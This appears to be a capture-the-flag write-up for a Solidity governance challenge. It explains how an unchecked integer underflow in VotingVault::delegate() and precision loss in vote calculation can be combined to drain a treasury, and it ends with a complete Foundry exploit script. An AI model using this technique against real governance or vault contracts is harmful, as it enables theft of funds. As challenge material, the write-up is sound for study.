10,000 GREY is deposited into the treasury. To solve the challenge, we need to drain the treasury by creating a withdrawal proposal and gathering enough votes to execute it
Votes can be obtained by locking GREY for at least 30 days. The voting power can be transferred to others through VotingVault::delegate(), and can be done any number of times
functiondelegate(addressnewDelegatee)external{require(newDelegatee!=address(0),"cannot delegate to zero address");(UserDatastoragedata,addressdelegatee)=_getUserData(msg.sender);Deposit[]storagedeposits=data.deposits;data.delegatee=newDelegatee;uint256length=deposits.length;if(length==0)return;DepositstoragelastUnlockedDeposit=deposits[data.front];DepositstoragelastDeposit=deposits[length-1];uint256amount=lastDeposit.cumulativeAmount-lastUnlockedDeposit.cumulativeAmount;uint256votes=_calculateVotes(amount);_subtractVotingPower(delegatee,votes);_addVotingPower(newDelegatee,votes);}
Each person can only vote once for each proposal, but the voting power is reusable. The intuitive idea is to transfer the voting power to other accounts and double spend the votes
The minimum number of votes required to execute a withdrawal proposal is 1,000,000, while the maximum number of votes we can obtain by locking GREY is 1,300. Due to the limitation of vote() function, which only obtains the historical voting power of the previous block, we can only vote once in each block. It is infeasible to reach the threshold and execute the proposal within the validity period of the instance
When changing the delegatee, the voting power of the previous delegatee will be subtracted. However, the calculation is done within an unchecked block. If votes is larger than oldVotes, an integer underflow could occur leading to a significant increase in the voting power of the old delegatee
The number of votes a user receives when locking GREY is calculated based on the amount of GREY to be locked. However, when updating the delegatee, the number of transferred votes is calculated based on the total number of locked GREY
There is a potential loss of precision when calculating votes. Specifically, the number of votes calculated based on the total number of locked GREY could be greater than the number of votes accumulated by diving the same total amount of GREY into multiple locks
// forge script Solve --broadcast -vvv --rpc-url $RPC_URL --slowcontractSolveisScript{functionrun()public{Setupsetup=Setup(vm.envAddress("INSTANCE"));uintpriv=vm.envUint("PRIV");GREYgrey=setup.grey();VotingVaultvault=setup.vault();Treasurytreasury=setup.treasury();vm.startBroadcast(priv);setup.claim();grey.approve(address(vault),10);vault.lock(1);vault.lock(9);treasury.propose(address(grey),10000ether,vm.addr(priv));vault.delegate(address(0x1337));vm.roll(block.number+1);// to pass the local simulationtreasury.vote(0);treasury.execute(0);require(setup.isSolved());vm.stopBroadcast();}}